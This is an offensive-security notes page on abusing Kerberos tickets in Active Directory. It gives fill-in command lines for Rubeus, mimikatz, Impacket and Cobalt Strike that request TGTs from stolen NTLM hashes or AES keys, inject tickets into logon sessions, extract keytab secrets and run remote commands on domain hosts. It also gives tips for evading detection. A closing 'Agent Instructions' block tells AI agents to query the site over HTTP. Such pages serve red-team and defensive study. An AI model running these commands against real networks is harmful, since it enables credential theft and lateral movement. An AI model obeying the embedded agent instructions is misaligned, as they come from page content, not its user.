# Exploitation - Kerberos tickets usage

### Overview

`Kerberos` is an authentication protocol used within Active Directory that rely on the use of tickets to identify users and grant access to domain resources. To do so, `Kerberos` implements two type of tickets, issued by two distinct services of the `Key Distribution Center (KDC)`:

* `Ticket-Granting Ticket (TGT)`, obtained from the `Authentication Service (AS)`.
* `service tickets`, obtained from the `Ticket-Granting Service (TGS)`.

A valid `TGT` is necessary in order to request `service tickets`, which in turn grant access to service accounts (user or machine domain accounts that have a `ServicePrincipalName (SPN)`).

`Overpass-the-hash` / `Pass the Key (PTK)` are the actions of using, respectively, the `NTLM` hash or the `Kerberos` secrets (`RC4` key, corresponding to the `NTLM hash`, or the `AES 128/256 bits` keys) of an user to request a `Kerberos` `TGT`.

`Pass-the-ticket (PtT)` is the action of directly using `Kerberos` tickets (`TGTs` or `service tickets`) with out a request to the `KDC`. On Windows systems, the tickets can be directly injected in the current logon session while on Linux systems `Kerberos` tickets file can be provided to utilities supporting the `Kerberos` authentication.

### Overpass-the-hash / Pass the Key (PTK)

**Plaintext password to RC4 / AES keys**

Knowledge of an account `Kerberos` keys allows to control which ticket encryption type will be used by the `KDC` when overpassing-the-hash / passing the key. As `AES` is generally used by the `KDC` for legitimate `Kerberos` authentication (since `Windows Server 2008`), using the `AES` keys may help blending in normal authentication traffic.

The tickets encryption type are logged in the `Ticket Encryption Type` field of the Windows `Security` events `4768: A Kerberos authentication ticket (TGT) was requested` and `4769: A Kerberos service ticket was requested`.

Note that the Kerberos `RC4` key corresponds to the `NTLM` hash of an account.

The `Ticket Encryption Type` field may take the following values:

| Value  | Encryption type           | Note                                                                    |
| ------ | ------------------------- | ----------------------------------------------------------------------- |
| `0x1`  | `DES-CBC-CRC`             | Disable by default since `Windows Server 2008 R2` / `Windows 7`.        |
| `0x3`  | `DES-CBC-MD5`             | Disable by default since `Windows Server 2008 R2` / `Windows 7`.        |
| `0x11` | `AES128-CTS-HMAC-SHA1-96` | Introduced in `Windows Server 2008` / `Windows Vista`.                  |
| `0x12` | `AES256-CTS-HMAC-SHA1-96` | Introduced in `Windows Server 2008` / `Windows Vista`.                  |
| `0x17` | `RC4-HMAC`                | Default encryption type before `Windows Server 2008` / `Windows Vista`. |
| `0x18` | `RC4-HMAC-EXP`            | Default encryption type before `Windows Server 2008` / `Windows Vista`. |

The `DSInternals` PowerShell `ConvertTo-NTHash` and `ConvertTo-KerberosKey` cmdlets can be used to convert a plaintext password to, respectively, `RC4` and `AES128` / `AES256` keys.

```bash
$CleartextPassword = ConvertTo-SecureString -String '<PASSWORD>' -AsPlainText -Force

# Returns the NTLM hash / RC4 key from a given password.
ConvertTo-NTHash -Password $CleartextPassword

# Returns the Kerberos keys (AES256, AES128, DES) and from a given password.
# The Kerberos keys are derived from a salt based on the Kerberos realm and account name.
# For user account: <SALT> = uppercase Kerberos realm + case sensitive SamAccountName. Example: LAB.ADAdministrator.
# For machine account: <SALT> =  Kerberos realm + host keyword + lowercase SamAccountName with out $ + lowercase Kerberos realm. Example: LAB.ADhostdc1.lab.ad
ConvertTo-KerberosKey -Password $CleartextPassword -Salt '<SALT>'
```

Additionally, `Rubeus`'s `asktgt` module supports `TGT` requests using a password, and the encryption type can then be specified using the `/enctype` option.

**TGT Kerberos tickets requests**

*Knowing any user's Kerberos secret.*

The `Rubeus`'s `asktgt` module or the `Impacket`'s `getTGT.py` Python script can be used to request `TGTs` using an user's password, `NTLM` hash (equivalent to the `Kerberos` `RC4` key), or `Kerberos` secrets.

If `RC4_HMAC-MD5` is disabled at a domain level, requesting `Kerberos` `TGT` will require either the account password or its `AES128` or `AES256` key. Trying to request a `TGT` using `RC4` key in such environment will result in a `KDC_ERR_ETYPE_NOTSUPP` error.

```bash
# ptt: Directly injects the received TGT in the current logon session. The current logon session TGT will be overwritten.
# In any case, the received TGT, encoded in base64, will be printed (KRB-CRED format).
Rubeus.exe asktgt /user:<USERNAME> /password:<PASSWORD> [/enctype:<rc4 | aes128 | aes256>] /ptt
Rubeus.exe asktgt /user:<USERNAME> [/rc4:<NTLM_HASH> | /aes128:<AES_128BITS_KEY> | /aes256:<AES_256BITS_KEY>] /ptt
Rubeus.exe asktgt /dc:<DC_IP | DC_HOSTNAME> /domain:<DOMAIN> /user:<USERNAME> [/password:<PASSWORD> | /rc4:<NTLM_HASH> | /aes128:<AES_128BITS_KEY> | /aes256:<AES_256BITS_KEY>] /ptt

# The received TGT will be exported to a file in the credential cache format.
python getTGT.py [-dc-ip <DC_IP>] <DOMAIN>/<USERNAME>:[<PASSWORD>]
python getTGT.py [-dc-ip <DC_IP>] -hashes ":<NTLM>" <DOMAIN>/<USERNAME>
# Recommended if possible in a covert scenario, as the AES keys are used by default by Microsoft.
python getTGT.py [-dc-ip <DC_IP>] -aesKey <AES_128BITS_KEY | AES_256BITS_KEY> <DOMAIN>/<USERNAME>
```

*Using the current user's security context.*

A `TGT` can be retrieved for the current user using its security context with out the need of knowing the user's credentials.

This is possible due to the way `Kerberos` `unconstrained delegations` are implemented: the user must provide a `TGT` to the principal trusted for the `unconstrained delegation` (such as the Domain Controller machine accounts). As the current user's `TGT` cannot be forwarded directly (as it may be linked to the current user IP address), a request for a `forwardable` (`forwarded` attribute set) `TGT` is requested by the client. This result in the retrieval client-side of an `AP-REQ` message containing a `KRB_CRED` struct with the `TGT` (encrypted with the key sent by the `KDC` for the session).

The `Rubeus`'s `tgtdeleg` or `Kekeo`'s `tgt::deleg` modules can be used to conduct this technique and retrieve a `TGT` for the current user:

```bash
# If an SPN trusted for unconstrained delegation cannot be automatically found by Rubeus, it can be specified using the /target:<SPN> option.
Rubeus.exe tgtdeleg

kekeo # tgt::deleg
```

*Automated ticket extraction from Rubeus output.*

If needed, the retrieved `Kerberos` tickets can be automatically extracted from `Rubeus` output (for example from the `tgtdeleg` module) using the PowerShell script below:

```bash
$tgtdeleg_res = Invoke-Rubeus -Command "tgtdeleg"
$tmp = $tgtdeleg_res -replace "`t|`n|`r",""
$tmp -match "ticket.kirbi\):(?<content>.*)"

$TGT = $matches['content'] -replace '\s',''
```

### Pass-the-ticket (PtT)

**\[Windows / Linux] Direct requests of service tickets**

On Windows, the `Rubeus`'s `asktgs` module can be used to request `service tickets` using a valid `TGT`:

```bash
# ptt: Directly injects the received service ticket in the current logon session.

Rubeus.exe asktgs /ticket:<TGT_BASE64 | TGT_KIRBI_FILE_PATH> /service:<TARGET_SERVICE_SPN | TARGET_SERVICES_SPN> /ptt
```

**\[Windows] Injection into the current session**

`Kerberos` tickets, in the credential format `KRB_CRED` (`KIRBI` file), can be injected into the current logon session using `mimikatz` or `Rubeus`.

Both utilities leverage the Windows `LsaCallAuthenticationPackage/KerbSubmitTicketMessage` API and will overwrite the current logon session tickets.

```bash
# If necessary, decodes a ticket in base64 (from Rubeus for example) to the KRB_CRED format.
cat <TICKET_BASE64_FILE_PATH> | tr -d "[:space:]" | base64 --decode > <TICKET_KIRBI_FILE_PATH>

# Injects into memory a ticket in the KRB_CRED format.
Rubeus.exe ptt /ticket:<TICKET_BASE64 | TICKET_BASE64_FILE_PATH | TICKET_KIRBI_FILE_PATH>
mimikatz.exe "kerberos::ptt <TICKET_KIRBI_FILE_PATH>" exit
```

`Cobalt Strike` 's `make_token` and `kerberos_ticket_use` `beacon` commands may be used to inject tickets with out overwriting the ones cached in the current logon session:

```
# Requires elevated privileges.
beacon> make_token <DOMAIN>\<USERNAME> "PasswordNotRequired"
beacon> kerberos_ticket_use <C2_TICKET_KIRBI_FILE_PATH>

# Does not requires a elevated privileges. Create a new beacon in a sacrificial process to protect the current beacon logon session tickets.
# The use of the make_token command is still necessary as both beacon share the same logon session.
original_beacon> make_token <DOMAIN>\<USERNAME> "PasswordNotRequired"
original_beacon> run <C:\Windows\System32\cmd.exe | BINARY_PATH>
original_beacon> ps
original_beacon> inject <NEW_PROCESS_PID> <x86 | x64> <LISTENER>
new_beacon> kerberos_ticket_use <C2_TICKET_KIRBI_FILE_PATH>

# Reverts the logon session created using the make_token command, so the original logon session's tickets are restored.
beacon | original_beacon> rev2self
```

The `Kerberos` tickets cached in the current logon session can be listed using the Windows built-in `klist` utility, `Rubeus`'s `klist` module, or `mimikatz`'s `kerberos::list` command:

```bash
klist

Rubeus.exe klist

mimikatz.exe "kerberos::list" exit
mimikatz.exe "kerberos::list /export" exit
```

**\[Linux] Credential cache (ccache)**

`Kerberos` tickets can be converted from the `KRB_CRED` format to the `credential cache (ccache)` format to be used with, among others, the `Impacket`'s Python utilities. If a `TGT` is provided, the `Impacket`'s utilities will try to obtain the necessary service tickets through request to the `KDC`.

Note that `impackets` utilities can only make use of a single `Kerberos tickets` at a time, which limits the possible usage of the utilities with `service tickets`.

Refer to the `[Windows] Lateral movements` for more information on how to leverage the `Impacket` suite for lateral movements in a Windows environment.

```bash
# If necessary, decodes a ticket in base64 (from Rubeus for example) to the KRB_CRED format.
cat <TICKET_BASE64_FILE_PATH> | tr -d "[:space:]" | base64 --decode > <TICKET_KIRBI_FILE_PATH>

# If necessary, converts the TGT from KRB_CRED to ccache.
ticketConverter.py  <TICKET_KIRBI_FILE_PATH> <TICKET_CCACHE_FILE_PATH>

# Loads the ticket from the specified file.
export KRB5CCNAME=<TICKET_CCACHE_FILE_PATH>

# Loads all the tickets in the specified directory. The tickets filename must follow the filename tkt*.
# Unfortunately loading Kerberos tickets from a directory is not a wildy supported feature.
export KRB5CCNAME=DIR:<TICKETS_CCACHE_DIR_PATH>

# Usage of the TGT through Impacket's utilities.
psexec.py -k -no-pass -dc-ip <DC_IP> <HOSTNAME> [<COMMAND> <COMMAND_ARGS>]
smbexec.py [-service-name <SERVICE_NAME>] -k -no-pass -dc-ip <DC_IP> <HOSTNAME> [<COMMAND> <COMMAND_ARGS>]
wmiexec.py [-service-name <SERVICE_NAME>] -k -no-pass -dc-ip <DC_IP> <HOSTNAME> [<COMMAND> <COMMAND_ARGS>]
[...]
```

The `klist` utility form the `krb5-user` (`Debian` based distro) or `krb5` package may be used to list the current tickets:

```bash
klist -A
```

**\[Linux / Windows] Keytab**

`Keytab` are files that contain one or multiple `key entries`. Each entry is composed of a principal (`Kerberos` realm and account name) and an associated `Kerberos` secret (`RC4` or `AES 128 / 256 bits` keys), stored encrypted. `Keytab` files can be used to request `Kerberos` tickets without the need of reentering a password, and are thus particularly useful for service accounts interacting with a directory service from non-Windows systems. `Keytab` files can be retrieved, for example, from Linux systems with service accounts using the Kerberos protocol.

The [`keytabextract.py`](https://github.com/sosdave/KeyTabExtract) Python script can be used to extract and decrypt the `Kerberos` secrets, `RC4` (corresponding to the `NTLM` hash) or `AES` keys, from a given `keytab` file:

```
python3 keytabextract.py <KEY_TAB>
```

Additionally, the `kinit`, `ktutil` and `klist` utilities form the `krb5-user` (`Debian` based distro) or `krb5` package may be used to interact with `keytab` files. Note that a `keytab` file is fully independent of the computer it's been created on, its filename, and its location in the file system.

```bash
# Lists the key entries' principal contained in the specified keytab file.
klist -k <KEY_TAB>

# Requests a Kerberos ticket using the specified keytab file.
# The retrieved ticket will be placed in cache and stored on the local file system in the ccache format (path can be retrieved using klist).
# The KDC (of the realm from the keytab) must be reachable from the system on which the command is executed.
# The <PRINCIPAL> format example: '<ACCOUNT_NAME>@<FULLY_QUALIFIED_DOMAIN>'.
kinit -k -t <KEY_TAB> '<PRINCIPAL>'
```

***

### References

<https://www.sstic.org/media/SSTIC2014/SSTIC-actes/secrets\\_dauthentification\\_pisode\\_ii\\_\\_kerberos\\_cont/SSTIC2014-Article-secrets\\_dauthentification\\_pisode\\_ii\\_\\_kerberos\\_contre-attaque-bordes\\_2.pdf> <https://www.ssi.gouv.fr/uploads/IMG/pdf/Aurelien\\_Bordes\\_-_Secrets\\_d\\_authentification\\_episode\\_II\\_Kerberos\\_contre-attaque_--\\_planches.pdf> <https://remivernier.com/index.php/2018/07/07/kerberos-exploration/> <https://docs.microsoft.com/en-us/archive/blogs/openspecification/understanding-microsoft-kerberos-pac-validation> <https://www.blackhat.com/docs/us-14/materials/us-14-Duckwall-Abusing-Microsoft-Kerberos-Sorry-You-Guys-Don't-Get-It.pdf> <https://cyberwardog.blogspot.com/2017/04/chronicles-of-threat-hunter-hunting-for.html> <https://gist.github.com/HarmJ0y/dc379107cfb4aa7ef5c3ecbac0133a02> <https://gist.github.com/TarlogicSecurity/2f221924fef8c14a1d8e29f3cb5c5c4a> <https://github.com/GhostPack/Rubeus> <https://github.com/MichaelGrafnetter/DSInternals/blob/master/Documentation/PowerShell/ConvertTo-KerberosKey.md> <https://github.com/MichaelGrafnetter/DSInternals/blob/master/Documentation/PowerShell/ConvertTo-NTHash.md>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://notes.qazeer.io/active-directory/exploitation-kerberos_tickets_usage.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
